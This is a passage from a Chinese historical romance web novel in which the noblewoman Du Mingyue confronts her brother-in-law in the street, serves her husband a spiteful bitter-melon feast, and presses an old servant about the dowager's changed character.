这个婆子口中夸赞的段老夫人的那些品质,她也从未发觉过。 她印象中的段老夫人不仅没有这些美好的品质,甚至是小肚鸡肠,睚眦必报的性格。 这究竟是怎么一回事,这真的是巧合吗? 杜明月眉头紧锁,苦思了许久,突然有个大胆的念头在自己的脑海中一闪而过。 她被自己的念头吓到了,端着茶杯的手微微一抖,茶水甚至洒在了桌上。 手上传来的温润触感又吓了杜明月一跳,让她浑身一震,甚至一松手让茶杯落到了桌上。 慕子叙见状,眼底闪过一抹担忧和心疼,他甚至忘了克制,急忙出声关心道,“怎么了?没事吧?” 杜明月望向他那双深潭似的眼眸,原来有着慌乱的内心竟然莫名的安定了下来,她有很多话想说,但又都不能说。 杜明月暗暗敛了敛心神,整理好了思绪,她也顾不得处理身上的水渍,急忙起身道,“今日多谢慕公子相助,我想起还有些事情要处理,我先告辞了。” 慕子叙目光深邃的看着她,眸中带着克制和隐忍,他现在多想陪在她身边替她解决这些问题,可是他却不能。 但好在,他相信她的能力,她这么聪慧,一定可以靠自己的能力将这件事解决好。 慕子叙只点点头道,“好,侯夫人慢走,若还有其他事需要帮忙,尽管告知在下。” 杜明月感激的朝着他点了点头,正要转身,听到慕子叙突然又开了口,语气中还带了些莫名的,她读不懂的急切。 “还有……”慕子叙唇角微微上扬,目光灼灼的看着回头的杜明月道,“这个簪子很配你。” 杜明月一愣,下意识抬手摸了一下簪子,莞尔一笑,发自内心的开心。 她点点头道,“是,簪子很漂亮,我很喜欢。” 慕子叙眉眼含笑,微微低下头,杜明月淡然一笑,转身离开了。 杜明月一想到段老夫人的事,心中有着烦乱,回去的时候便故意没有坐马车,和红豆走路回去,想着正好在街上转转,理一理自己的思绪。 不知不觉,杜明月主仆二人逛到了樊楼前,一个不经意,有人撞到了杜明月的身上,将她头上的一枝珠钗撞掉了。 红豆急忙扶住杜明月,她正要低头去捡珠钗,就听到杜明月一下紧张的出声。 “我的簪子没有撞掉吧。”杜明月边说,边急忙伸手去摸慕子叙送自己的簪子。 她的手刚一模到头上的那根簪子,杜明月便松了一口气,同时小心翼翼的将这只簪子取了下来。 “虽然好看,我也喜欢,可是只有一根,算了,这么好的簪子还是收起来吧。”杜明月看着手中的簪子,满眼喜爱和珍视。 捡起地上珠钗的红豆见她这副样子,忍不住笑道,“就是不知道日后慕公子见您不戴这簪子,会不会误会是您不喜欢。” 红豆这话或许是无心的,但不知道为什么杜明月的心就是莫名紧张了一下,感觉脸颊好像也有些发烫了。 她将这些都归咎于是红豆开了自己玩笑的原因,于是嗔了红豆一眼道,“你这丫头,再乱说小心我打你!” 红豆知道杜明月不会这么做,不仅不害怕,还调皮的吐了吐舌头。 杜明月笑着瞪她一眼,正要将簪子小心的收起来,身后突然传来了段骆霖气愤的声音。 “站住!”段骆霖攥紧拳头,快步走到杜明月跟前,目光愤恨,如淬了毒的钩子一般,紧紧盯着她手中的簪子。 “哪里来的破簪子!”段骆霖说着,劈手就准备将簪子夺过来。 但杜明月反应迅速,立马躲了过去,红豆也第一时间握住了段骆霖的手,让他不能得逞。 杜明月眼含怒意的狠狠瞪着段骆霖,红豆也暗暗加重了手下的力度,让原本眉眼嚣张的段骆霖顿时失了戾气,痛得眉头都拧在了一起。 “你放手!”段骆霖气急败坏的看向红豆,咬牙切齿道,“我是镇南侯府的二少爷!你一个丫鬟,竟敢!” 杜明月此时已经将簪子收好,冷冷的看了段骆霖一眼道,“她是我的丫鬟,不是侯府的丫鬟,她不必听你们任何一个人的话!” 被训斥的段骆霖语塞,只能一言不发的干瞪眼,表现自己心中的愤怒。 杜明月实在不愿意同他纠缠,并且看见他的脸就烦,于是朝着红豆点头示意,红豆立马甩开他的手,朝着他冷哼一声。 杜明月正转身要走,没想到段骆霖竟然还在身后不依不饶。 “杜氏!你不要太过分了!你身为侯夫人,竟然整天不着家在外面闲逛!”段骆霖犹如无能狂怒一般发泄着心头的怒气。 杜明月冷冷转身,看来段骆霖真是不怕家丑外扬,竟然在大街上,就开始指责起自己来了。 真是个蠢货! 杜明月心里冷笑一声,朝着段骆霖一步一步走过去,气势将段骆霖压得死死的,段骆霖甚至也莫名其妙的后退了一步,有些心慌。 第一百零七章 我可以替你保密 “你别以为我不知道,你刚藏的簪子,是你的奸夫送你得吧?看起来那么粗糙,怕不是亲手做的吧?” 看着近在咫尺的杜明月,段骆霖脑海中突然闪过她拿着簪子珍重的神情,这让他心里莫名的不舒服。 段骆霖压低声音,用只有他们两个人才能听清的声音道,“贱妇!你怎么这么不知廉耻!” 杜明月闻言,眸子微微的眯起,眼底如淬了万年化不开的寒冰,看一眼都能让人有被冻住再也出不来的绝望。 还想继续说下去的段骆霖对上她这样的目光,不知为何,心中突然瑟缩了一下,好像有什么莫名的不安感袭上心头,他终于安静了下来。 杜明月冷笑出声,“你说了这么多,那你还记得我还有一个身份是你的大嫂吗?左一句杜氏,右一句贱妇,难道这就是你们镇南侯府教出来的礼节吗?” 杜明月逼视的目光,冷冰冰的话语,让段骆霖心中为之一震。 杜明月冷笑,看向段骆霖的目光满是厌恶,“都说长嫂如母,过去,我虽从未抱着让你感激我的想法对你好,可是没想到你竟然是这种狼心狗肺的东西!我是真的瞎了眼。” 被段骆霖多次纠缠的杜明月已经对他完全失去了耐心,既然他不不在乎自己的面子,也不要镇南侯府的体面,那她就更加不在乎了。 杜明月尽情的宣泄着心中的不满和厌恶,“你看看你现在活像个跳梁小丑,你再喊得大点声,让全京城的百姓都听到镇南侯府的丑事!” 段骆霖被她的话压得喘不过气来,不知道为什么,心口重的一直往下坠。 “哦,对了,其实你刚才的话也收敛了不少,还有很多要羞辱我的话没有说出口吧?没关系,不必给我留面子!你不说我替你说!” 杜明月是当真已经将她的面子扔在地上了,她心中此刻只有一个感觉,厌恶段家每一个人,厌恶他们那虚伪的每天带着面具的模样,她想将每个人的假面具都扯下来扔到地上踩烂。 “你是不是还要告诉所有人,我喜欢去南风馆狎妓?我背着相公偷情养奸夫啊?” 杜明月的声音很大,真的吸引了不少身边的路人停下了脚步,疑惑的看向他们。 段骆霖也没想到杜明月竟然会突然说这些,觉得她这是要发疯,焦急中将自己心底莫名涌上来的刺痛强压了下去。 “够了!”段骆霖终于听不下去了,压低声音,几乎要将后槽牙咬碎。 杜明月见状,却只是冷哼一声,“怎么,我才说几句,这么快就受不了了?这些难道不都是你安在我头上的罪名吗?我承认的话,要让你大哥马上把我扫地出门吗?” 段骆霖听着杜明月带着讥讽的话语,越听脸色越难看,浑身都忍不住颤抖了起来。 然而杜明月还没有打算放过他,继续步步紧逼道,“不对,你应该还要让你大哥先给我上一顿家法吧?鞭刑?杖责?” 杜明月轻轻一笑,“应该有你喜欢的吧,是鞭刑嘛?” 杜明月说的每一个字,都好像是一把插在段骆霖心口的刀,他浑身颤抖,冷汗直流,脑海中浮现的全都是杜明月东宫回来那日所遭受的酷刑。 直到此刻,段骆霖好像终于明白自己到底都对杜明月做了什么,他一脸惊恐的瞪大了眸子,十分不安的看向杜明月,整个人浑身抖得如筛糠一般。 “大嫂……我……”段骆霖只觉得喉咙发紧,好像有刀片在生生的割他的喉咙一般,让他开不了口。 杜明月瞧着他脸色苍白,冷汗直流的模样,眼底闪过一抹困惑。 奇怪,他平时和自己针锋相对,给自己胡乱安骂名时,不是最牙尖嘴利吗,今日是怎么了? 杜明月见他半晌不说话,也没心情和他继续这么站着,转身就要走。 然而没走两步,段骆霖却又快步走到她面前,伸手拦住她的去路,红豆上前,挡住他的视线。 段骆霖着急的压低声音,但语气却近乎带着一种哀求,“大嫂,过去的事情就让他过去吧,好,这次的簪子,我不计较,回府以后,也绝不同任何提起,哪怕是我大哥,我也绝不会说的。” “我可以替你保密,但你也要答应我一个条件。”段骆霖说得很快,像是生怕给了杜明月开口打岔的机会,他一定要将他的想法全部说出来。 “大嫂,你必须回到我大哥身边,从此以后收心,绝口不提和离之事,从此以后,所有前情咱们都一笔勾销,咱们还是一家人好好过日子好不好?” 段骆霖目光殷切哀求,红豆听着他这番话却嘴角下撇,十分嫌弃。 两人都将目光落在了杜明月的身上,杜明月先是面无表情,随后竟突然大笑了起来。 “你替我保密?你让我不要和离?”杜明月眼底满是寒冰,“你算什么东西!” “我今日既然和你在大街上说这些,便是没有维护侯府面子的打算!你所说的所有罪责,我都可以认,即便你大哥真的给我上家法,只要我不死,就一定会离开段家!” 杜明月眼中的决绝彻底吓到了段骆霖,段骆霖心痛的厉害,感受到了之前从未感受过的恐慌。 她真的要离开段府,离开他们吗!不行!绝对不行! 他正要开口,却听杜明月又幽幽的开了口,“不过我想,你们如果还想守住镇南侯府的爵位和荣耀,也是不敢对我下死手的,毕竟朝堂内外那么多双眼睛盯着你们!不然的话,我在你们侯府也马上会有一百种死法!” 段骆霖的心头又是一震,此时他的脑海确实浮现了无数人的面孔,董丞相、董皇后…… 他知道杜明月说的都对,但他接受不了杜明月的决定。 “听清楚了,就给我让开!”杜明月清冷的声音再次响起,眼神凌厉的如同一把锋利的刀子,直戳人心。 “哦,对了,以后也不要出现在我面前!”杜明月勾唇,嘴角的弧度同样像是一把能杀人的刀。 第一百零八章 真的保守了秘密 杜明月淡淡的道,“以后,你若想往我头上安罪名,随便安,也不要出面和我争执,直接告诉你大哥就行了,再不行,你报官吧!” 杜明月再次转身,这一次彻底慌了心神的段骆霖,竟然无意识的猛地去拉了杜明月的手。 “大嫂,你别走……” 段骆霖的话还没有说完,却被杜明月猛地抽出自己的手,语气不善的打断了。 “段骆霖!请你自重!”杜明月甚至故意提高了音量,看着满街经过的人都拿眼睛往段骆霖身上瞟,看着段骆霖忐忑不安,一脸惊慌的模样。 “你一个小叔子,整日里关心我和你大哥的事情,这样传出去也不好听吧!” 杜明月的话,让段骆霖一下子愣住了,他呆呆的看着杜明月,好像脑海中有一根弦让人拨断了,又好像突然有人帮他驱散了脑海中的那一抹阴霾。 段骆霖的内心猛烈的颤动,他好像突然意识到,一直以来困住他的,来自内心深处的不安和烦躁是什么了。 周遭的一切好像都突然安静了下来,段骆霖不可置信的睁大了眼睛看向杜明月,看她眉头紧锁的模样,看她斥责自己的模样,看她的眉眼,她的唇形…… 段骆霖的脸突然就红了,他猛地低下头,用手捂住了自己的嘴,惊恐的睁大了眸子。 他刚才到底在想什么啊!那可是他的大嫂啊! 杜明月对段骆霖的呵斥还没有结束,她现在就是在故意找段骆霖的难堪,让他也切身感受一下被人指指点点,戳脊梁骨是什么感觉。 “小叔,你都这么大个人了,也该知道分寸吧,有事是不是应该让你大哥来跟我说,整日里来纠缠你的大嫂这不合适吧!” 面对越来越多人围上来指指点点,杜明月咬咬牙,反正她现在只要和离,她的名声她早不在乎了。 她不要被什么贞节牌坊、道德规训,束缚住自己的手脚,她哪怕背负众人骂名,她依然有底气活出自我。 而今日她在大街上的这一场闹剧,她也是想过后果的,如果京城传遍和她有关的疯言疯语,那到时一传到段老夫人和段骆岐耳朵里,说不定他们受不了,就把和离书交给自己了! 心里这么想着的杜明月越说声音越大,此时刚刚和朝中要员见过面,准备从这里离开的段骆岐也注意到了这边的动静,他疑惑的上前,本意也只是单纯的看看热闹。 段骆岐从人群最外围,一直走到最里面,这才猛然发觉,被众人围着议论纷纷的人,竟然时杜明月和段骆霖。 他见对面两人的脸色都不好,似是发生了争吵的模样,他下意识的便认为,又是段骆霖在找杜明月不痛快了。 如果说杜明月刚出宫回府时,他和段骆霖是同仇敌忾,那他现在就只想维护杜明月。 毕竟杜明月好不容易才终于开始对自己示好了,他绝对不能允许自家人再得罪杜明月,让两人交恶。 “霖儿!”段骆岐突然出现,让段骆霖一愣后,立马回头。 在段骆霖看到段骆岐的那一瞬间,他的眼底闪过一抹晦暗不明的不安和歉意,但很快这种情绪便被他遮掩了下去。 “大哥,你怎么来了?”段骆霖的声音带着一点轻微的颤抖,说话时眼睛也不敢直视段骆岐,似乎有些心虚。 段骆岐走到他身边,一脸疑惑的皱眉,“这句话应该是我问你才对吧?你又在这里胡闹什么!” “我……”听着段骆岐的责备,段骆霖的内心莫名的更加烦躁了。 段骆岐显然并没有耐心听他说什么,只是继续道,“今日不是休沐日,你不是应该在学堂读书吗?为何在这里!” 段骆岐像是豚突然想起了什么似的,睁大眼睛不满的看向段骆霖,“你该不会又像院长撒谎请假了吧!” 还没等段骆霖开口解释,段骆岐已经开始指责了,“你成日这样偷懒!以后要怎么办!你知道当初送你进书院,有多难吗!” 这句话让段骆霖又是一愣,是啊,他都差点忘记了,当初他进这个书院,那还是杜明月跑前跑后帮他进的,自己以前也总有偷懒耍滑被责骂的时候,都是杜明月护着自己的。 段骆霖心中猛地一紧,急忙抬头去看杜明月,然而记忆中那双温柔含笑的眸子不见了,取而代之的是冷漠,完完全全的冷漠。 甚至他都无法看清杜明月眼底的情绪,因为杜明月此时将脸转向一边,根本完全不看他们兄弟二人。 心中酸涩的段骆霖下意识的指向杜明月,“不是的,我今日是因为……” “闭嘴!不要找理由!”段骆岐不耐烦的打断。 杜明月的余光看到了段骆霖的指向自己的模样,,冷笑着回头对段骆岐道,“你弟弟这次应该确实有很合理的理由,要不你好好问问?” 杜明月抱着隔壁看向段骆霖,一副有恃无恐的模样,像是就在等着他开口说簪子的事情。 段骆霖心脏猛地一抽,他突然响起不久前才刚向杜明月做出的承诺:他不会说出去的,他会替她保守这个秘密。 段骆霖缓缓的放下手,抬头看向杜明月,心中暗暗祈盼:这次如果我真的替你保守了秘密,你会愿意像以前一样对我吗? “好吧,今日确实没什么事,是我找借口溜了出来……”段骆霖低头,极为沮丧的说着。 段骆岐一听这话,更加生气了,“果然是这样!你要是再不好好念书!总是四处挑事,小心我给你上家法!” 段骆霖一愣,猛地抬头,没想到他自己的大哥竟然能如此轻轻松松的就和自己说这种话。 家法,难道是随随便便犯个小错,就能用的吗?还是他故意将自己所犯的小错放大,让自己无端忍受这家法。 越想,段骆岐越气,他是真的没想到段骆岐竟然会对自己这么严厉,气的一转身就走了。 然而,他还没走几步,却突然愣住了,脚步也停了下来,砖头看向杜明月那隐入人群,时隐时现的身影。 第一百零九章 苦瓜宴 原来,被人误解,被人小题大做安上莫须有的罪名,承受家法,是这样愤慨的心情。 段骆霖突然有些心惊,所以一直以来,杜明月承受那些时,她又是什么心情呢! 段骆霖内心又是一颤,他几乎要将后槽牙咬碎,自己此时的遭遇比不上杜明月的千分之一,可想而知,杜明月当初是承受着身体和心灵双重折磨的,可他都干了什么! 越想,段骆霖越是后悔,越是后怕,甚至不顾众人的目光,当街抬起手,狠狠给了自己一个耳光。 他再转过头时,已经看不到杜明月和段骆岐等人的身影了。 他不知道,段骆岐正在纠缠着杜明月,一脸讨好的让她进自己马车,和他一同回府。 杜明月自然是不肯做他的马车,不愿意与他单独相处,对他的话视若罔闻,并让红豆迅速租了一辆。 杜明月坐进马车之后,红豆伸开双臂挡在段骆岐的面前,不让他靠近马车一步。 “走!”杜明月的声音从马车帘子后面清冷穿来,那马车夫倒也极有眼色,并不犹豫,立马调转车头,“吁吁”的架着马车朝前行驶了起来。 红豆就这么拦着段骆岐,直到身后的马车走远一些,确保不会被段骆岐跟上,自己这才转身急忙追马车去了。 段骆岐着急叹气,见事已至此,也只能急忙钻回自己的马,命马车夫立马调转马车回府。 镇南侯府大门前,马车才刚刚停稳,段骆岐已经迫不及待的从马车中跳了出来。 他快步踏进门槛,朝一旁小厮问道,“夫人可回府了?” 在得到小厮肯定的回复后,段骆岐心中莫名的松了一口气。 果然,她现在已经不会随便去那些不该去的地方了,她果然是开始收心,要和自己重新开始了。 抱着这莫名的自信,段骆岐不请自来,踏进了摘月居的院子。 此时杜明月正难得的下厨,打算用杜凌风教的法子做菌子汤时,就听到小厨房外响起了红豆的声音。 “侯爷,您真的不能进去。主子在里面做菜不喜欢被人打扰。”红豆皱着眉头,一脸不悦的看向段骆岐。 她就不明白了,段骆岐今天到底是吃错了什么药,一定要这么阴魂不散的纠缠自家主子。 刚才在大街上若不是因为要拦着他,她也不至于在街上多走那么一段长路,她早就开心的和主子一起坐进了马车里。 现在进了府里,他放着另外两个院子的姨娘不去管,偏偏要到这里来讨嫌。 厨房里的杜明月也是一脸嫌恶和不耐烦,只是她目光不经意扫过一旁的箩筐,看到了一堆刚刚摘下的苦瓜。 她平时是不吃苦瓜的,只偶尔拿来放几片做汤,或者是拿来摆盘用,可今日她听着段骆岐的声音实在是觉得聒噪,想让他吃点苦头。 这么一想,杜明月的唇角微微上扬,露出了一抹狡黠的笑容。 门外,红豆正和段骆岐僵持着,突然听到小厨房内传来了杜明月的声音。 “红豆,不得无理。”杜明月说着已经从小厨房的门槛迈了出来。 段骆岐一见杜明月这么给自己面子上,立马满面笑容,如沐春风。 他还没来得及开口,就听杜明月道,“侯爷今日真的想在我这里吃饭?” 听到这话的段骆岐内心更加高兴了,他确信杜明月这就是在向自己示好,立马一脸不值钱的笑容坚定点头。 “真的!明月你要亲自下厨吗?太好了,不管你做什么我都爱吃,保准吃得干干净净!”段骆岐眸光坚定。 杜明月闻言,心中冷哼,嘴角却扯出了一抹得逞的笑容,“小厨房里备的菜都是我爱吃的,侯爷当真我做什么你吃什么?” “真的!”段骆岐并没有看出杜明月眼中的玩味和促狭,反而因为激动,更加用力的点头。 “好,那侯爷先回花厅坐着吧,一会饭菜好了,我会亲自端过去的。”杜明月微微笑着,不管是礼数还是笑容都客气的挑不出一点毛病。 段骆岐只顾着傻乐,却全然没有注意到一旁红豆先是震惊,之后又是一脸了然的笑意。 “红豆,你去安排两个丫鬟给侯爷上茶,伺候侯爷坐着。”杜明月转头对明月道,“一会来帮我。” “是,奴婢遵命。”红豆像是生怕段骆岐还要赖在这里似的,立马走到跟前,做了一个请的姿势。 段骆岐面对红豆的催促,因为现在心情极好,因此也并不生气,反而很开心的离开了。 不一会儿,红豆回来了,一进小厨房就看到杜明月将满满一箩筐的苦瓜摆在了桌案上。 杜明月可不想亲手给段骆岐做吃的,便指挥着红豆洗了这些苦瓜,用它们做了炒苦瓜,蒸苦瓜,煮苦瓜,凉拌苦瓜。 红豆挥着铲子在小厨房爆炒苦瓜,又抬头看着一旁摆的蒸苦瓜和煮苦瓜,自己都忍不住笑了。 “主子,今天这是要开苦瓜宴吗?是因为侯爷来了的原因吗?”红豆一想到这一点,并将铲子挥的更起劲了。 杜明月点头,“没错,既然是他主动要求在这里吃饭,那总要给他点苦头吃吃。” “咱们不吃这些,回头等他走了,你去买樊楼的饭菜回来,你都这么辛苦的下厨给他做苦瓜了,你得多补补。”杜明月说完这句话自己也忍不住笑了。 红豆闻言,眼睛都亮了,一想到樊楼那好吃的猪肘子,栩栩如生的松鼠桂鱼,她更是觉得浑身使不完的力气。 “主子,一会除了凉拌苦瓜,还有什么菜,我觉得我再用苦瓜做十盘菜不成问题!” 杜明月和红豆主仆二人哈哈大笑,没一会功夫,四道苦瓜菜和一大碗两碗白米饭便被端上了桌。 坐在花厅期盼已久的段骆岐一看到端上来得菜,整个人都愣住了,原本开心的心情也都顷刻间消失的无影无踪,只留下一股浓浓的无奈。 他抬头看向若无其事坐下来的杜明月,他的内心不断下沉,他明白,杜明月这还是在跟自己耍小脾气,在故意折腾自己。 第一百一十章 吃到干呕 段骆岐正想开口说什么,突然就见杜明月微笑着问他,“侯爷不吃吗?是觉得饭菜不合你胃口吗?” 杜明月说着还露出了很为难的表情,“最近也不知道怎么了,就是想吃点苦瓜,刚侯爷说,只要是我做的,什么菜都行,果然我还是应该提前说出来,这样侯爷就可以去别的地方吃了。” 说着,杜明月还给了红豆一个眼色,两人做出一副准备收了段骆岐碗筷的模样。 “侯爷,现在走也不迟,要不你去别处吃饭吧,这些苦瓜我一个人吃就行了。”杜明月说着,拿起了自己的碗筷,顺手便往自己的碗里夹了一块苦瓜。 “不!我吃!”段骆岐心一横,立马从红豆手中抢回了自己的碗筷,并立马夹了一口苦瓜塞进了自己嘴里。 苦瓜刚一入口,就让段骆岐忍不住皱紧了眉头,口腔中弥漫的苦味,让他整个脸都皱皱巴巴的缩在了一起。 杜明月此时却突然突然捂唇笑了,甚至还伸出筷子主动往他碗里夹了一口苦瓜。 “侯爷既然喜欢就多吃一点。”杜明月的声音很温柔,脸上还带着温柔的笑意,让段骆岐一下子就看呆了。 如果能天天看到她的笑容,那让他每天吃苦瓜他都愿意,这么一想,段骆岐觉得这顿苦瓜吃得还是值得,毕竟让两人的感情又增进了一些。 当然这些仅仅是他个人的想法,杜明月完全没有这种想法,只是心中冷笑着看他强撑着吃苦瓜的模样。 段骆岐确实靠着毅力支撑,吃了许多苦瓜,但最终还是坚持不下去了,直冲天灵盖的苦味让他再也坚持不下去,甚至闻着味道就想吐,于是急忙起身找了个借口就要告辞。 杜明月也不拦着,只是假模假意的关心道,“侯爷真的吃饱了吗?若是没吃饱,倒是我的不对了。” “不不!我真的吃饱了,只是想起有人上午送来信件我还没有过目和回复,别耽误了正事,我得赶紧去看一下。” 这话说完他转身就跑,好像生怕杜明月再出言挽留他多吃几口再走一样。 看着他狼狈离开的背影,杜明月和红豆笑作一团,主仆二人笑够了,红豆这才开始收上桌上的碗盘。 另一边胃里翻涌着苦意的段骆岐,一离开摘月居的院子,便忍不住扶着一棵大树干呕了起来。 干呕了半晌,段骆岐终于觉得自己好像舒服了一些,但总觉得胃里空落落的,烧的难受。 他今日根本就没有吃饱。 他想了想转头去了柳楹莹的院子,柳楹莹果然正带着两个孩子在吃饭,一看到段骆岐来了,立马开心的纷纷起身相迎。 两个孩子立马抱住了段骆岐的大腿,一脸开心的唤着“爹爹”、“爹爹”,可段骆岐不知道为什么,此时看着他们,却没有在岭南看见他们时那么开心和喜欢。 但无论如何,胃里不太舒服,干呕的有些疲惫的段骆岐还是挤出了一丝微笑,摸了摸两个孩子的头。 “你们先放开爹爹,让爹爹赶紧坐下来陪你吃饭啊。”柳楹莹急忙开口,拉开了两个孩子,面带羞涩的微笑,含情脉脉的看向段骆岐。 段骆岐心中感叹,她还是和以前那么温柔和善解人意,但不知道为什么,他现在看着她的脸也总觉得没有那么兴奋,像是缺了点什么。 段骆岐没有将自己这种心情表露出来,而是同样露出了温柔的笑容,拉着柳楹莹的手走到八仙桌旁坐了下来。 摘月居内,杜明月正和红豆吃着樊楼买回来的山珍海味,主仆二人因刚看到段骆岐出丑,到现在心中都好笑得不得了。 “对了,主子,我刚才回来时,听说侯爷从咱们这里离开后,去了柳姨娘屋里了。”红豆有些嫌弃的道,“他刚才不是还在这里说怎么怎么喜欢主子您吗?结果转头又去了别的姨娘那里!” 红豆有些生气的说道,“还好主子您都已经决定和离了,如若不然,守着这样一个三心二意的男人过一辈子,多憋屈啊!” “虽然红豆懂得不多,但一生一世一双人的道理还是懂得,谁不羡慕羡慕神仙眷侣啊,可以啊,这俗世里的男人,我见一个算一个,就是坏,又色又花心,没一个好东西!” 杜明月都不生段骆岐的气,没想到红豆却替自己这么生气,忍不住好笑道,“那要按你这么说,天下的男人都坏,那你原来的主子,慕公子的?” 红豆一愣,立马一本正经的道,“不,公子那人不一样。他不是普通的男人,所以绝不会和世俗的男子一样,落入这种世俗的男女感情中。” “真的!主子你信我!”红豆像是生怕杜明月不信似的,再次强调道,“主子,你以后肯定就知道了。” 杜明月不知道怎的,就想起了今日在茶楼,慕子叙看向自己的笑容,陷入了沉思,久久也没有回答红豆的话。 红豆见杜明月放下了碗筷,已经吃饱了,立马低头加快了进食的速度,如风卷残云一般吃完了剩下的菜,动作利索的收拾好。 “主子,老夫人的事,您接下来打算怎么做啊?”红豆给杜明月拿来了擦手的帕子。 “一会,你去将府里的管家媳妇偷偷给我叫来。”杜明月说着,拿起帕子擦干手放在一旁,红豆离开时顺手拿走了。 没一会,红豆回来了,身后跟着有些紧张的管家媳妇。 她一进来,立马恭敬的行礼问安,见杜明月一直打量着她却不说话,心中也不知道自己到底做错了什么,只是一味的忐忑不安。 杜明月突然发问道,“你在这府里多少年了?” 管家媳妇一愣,但还是认真的回忆了起来,“快二十年了吧?或者,二十多年了,还真记不太清了。” 管家媳妇脸上的笑容有些尴尬,回答之后,忍不住问了句,“夫人怎么突然想起来打听这些事了?” 杜明月闻言,一双美眸倏地危险的眯了起来,言语也严厉威严了一些,“你是主子?我是主子?什么时候轮到你来问我了?” 第一百一十一章 以前喜欢作画 管家媳妇见杜明月动怒,下意识的便扑通一声跪了下来,跪下后,才后知后觉的感受到,杜明月刚才竟然在无形中给了她那么大压力。 “奴婢不敢。”管家媳妇畏畏缩缩的说完,也不敢再说话了。 杜明月微微蹙眉看向她,心中明白了,管家毕竟是这府里的老人,看来内心还是向着段家人的。 而这管家媳妇虽然不直接替段老夫人他们做事,但毕竟是管家媳妇,夫妻一体,内心怕是自然也偏向段家人的。 杜明月细细打量管家媳妇,见她此刻战战兢兢,诚惶诚恐,又不像完全为段家死心塌地的模样。 这么一想,杜明月觉得管家媳妇这个口子还是能撕开的,而且看她本人如此意志不坚定,左右摇摆,那只要稍加威逼利诱,她也一定会对今日之事守口如瓶。 杜明月挑眉冷笑,便转头对红豆道,“看来我真是许久不管是,这府里的人都已经不把我当主子了。” “你去把绣花的银针拿来,今天得让她好好长长记性,让她记得只要我还在这府里一天,我就是这侯府的女主人!” 杜明月面色冷峻,周身散发着侯府女主人的威压,红豆一听,也立马神情严肃的配合,果真将杜明月偶尔打发时间做女红的针线包拿了来。 那管家媳妇一开始虽是战战兢兢的,但脸上还是半信半疑的,时不时抬眸偷偷打量她的神色。 因为在她的印象里,杜明月可一直是和气温良的人,虽说她也知道杜明月自从回来后变了一个人,但还是不相信竟然能一下子变得这么心狠手辣。 然而,当红豆按照杜明月的吩咐,将那根又粗又长的银针对准自己的指尖时,她浑身冷汗直流,整个人都不受控制的抖了起来。 “夫人!夫人不要!是奴婢错了,奴婢罪该万死,还望夫人饶恕!”那管家媳妇一副哭天抢地的模样。 杜明月冷冷勾唇,对着红豆点了点头,红豆便在银针触碰到指尖的刹那停了手。 “好,你知道这一点就好,那接下来我的问题你都如实回答!”杜明月清冷的声音响起,管家媳妇害怕的连连点头。 “我问你,老夫人嫁进府里后,你可察觉到她什么时候变得和以前不一样了?比如脾气秉性、爱好习惯等?” 杜明月居高临下的看着她,那管家媳妇闻言一愣,似是在回忆,似是在犹豫。 “还是不说?看来必须要给你点厉害尝尝,你才愿意开口。”杜明月见她神色纠结为难,明显是真的知道点什么,按捺着激动的心情,看向红豆,朝着她使了个眼色。 红豆立马会意,立马抬起一脚将管家媳妇踢倒在地上,用力踩着她的背,朝着她亮出了手里的银针。 “主子,看来还是要用针扎手指才行,都说十指连心,我这几针下去,她肯定什么都招了!” 红豆说着,也做出一副凶神恶煞的模样来,抬起手中的银针就要朝管家媳妇的手指扎去。 银针与皮肤接触,针尖处渗出点点血迹,管家媳妇立马吓得鬼哭狼嚎起来。 “我说!我什么都说!”管家媳妇满眼惊恐的看向杜明月,一副求饶的模样。 红豆虽然还没用多大力气,但管家媳妇已经感受到痛了,虽然此时的痛她还能忍住,但是她不敢想象,如果红豆力气再大一些,她会不会整个人痛晕过去。 都说识时务者为俊杰为俊杰,现在管家媳妇也深刻体会到这句话了。 而且管家媳妇自问,杜明月问的事情,也没什么不对,不过是想关心一下老夫人罢了,那么那些陈年旧事,陈芝麻烂谷子的事儿拿出来说,也没什么不能的。 这么一想管家媳妇也心安了许多,她相信只要自己出了这屋子,把嘴巴闭紧,那接下来不管发生什么事都和她无关,这个道理,她在府里当差这几十年,心里早就明白了。 “好,你说。”杜明月见她这次目光真诚,便点点头同意她继续说下去。 红豆见杜明月点了头,也立马松开踩着她的脸,将她一把拉了起来。 “夫人,实话实说,老夫人刚刚嫁进侯府的时候,我也不过是府里的一个粗使丫鬟,那时我家那口子也不是管家,我们俩其实很少能碰见府里的主子们,老夫人更是没见过几次。” 管家媳妇认真回忆着,杜明月打量她的神情,知道她这次并没有说谎。 “我只知道,夫人刚嫁进来的时候,府里上下无不夸赞她温和良善,待人大度,是个好主子,哦对了!”管家媳妇眼睛一亮,想起了一个细节,“老夫人以前喜欢作画。” “我记得听府里的人说,在生二少爷之前,老夫人经常能一天都在屋里画画。我还有幸见过一副老夫人作的画!” 管家媳妇回忆着以前的事情,像是也想起了些什么开心的事,整个人也不像刚才那么惊恐紧绷了,脸上甚至露出了淡淡的笑容。 杜明月觉得她虽是在认真回忆,但好像回答的东西有点偏离她想知道的主线,便开口道,“那后来呢?有什么不一样的地方?” 那管家媳妇闻言,立马回过神来,十分肯定的开口道,“后来,自从老夫人生了二少爷后,就再也没有画过水墨画,也再不将自己整日整日的关在房间里了。” “还有,老夫人后来对大少爷格外的宠爱,疼爱起来甚至都有些放纵,之后也一直在再没有回过娘家了。”管家媳妇补充道,“一开始大少爷之前,还会偶尔去娘家走动走动。” 杜明月听她说完这些话,猛然间听不出哪里有漏洞,但潜意识里就觉得这中间肯定有什么不对劲,不符合逻辑的地方。 管家媳妇见杜明月若有所思微微出神,也没有再出言责备自己,便大着胆子感慨了一句道,“这天下的事情,说来也奇怪,总是天不遂人意。” “老夫人当时教导二少爷那么严厉,也不知道是不是因为真的太过苛责和紧逼,让二少爷养成了有些叛逆,总是惹麻烦的性子,而大少爷……” 第一百一十二章 难不成换人了 “大少爷被老夫人娇纵,几乎什么苦都没吃过,本以为继承爵位会缺少历练,但没想到,还是轻轻松松的就将这镇南侯府的重担扛起来了!” 管家媳妇兀自感叹着,却没注意到,杜明月听到这话微微变了脸。 段骆岐将镇南侯的重担挑起来了吗?恐怕并没有! 怪不得她自嫁给段骆岐后,总觉得他的才干稍显稀疏,能力并不算出众。 但可惜那时她被爱蒙蔽了双眼,认定了段骆岐时,心中便下定决心,无论他怎样,她都会不离不弃的扶持他平步青云。 想到这里,杜明月心中不免冷笑一声,自从她彻底看清段骆岐的真面目,不再对他抱有任何感情和期待时,才能彻彻底底的看清段骆岐到底有多废物。 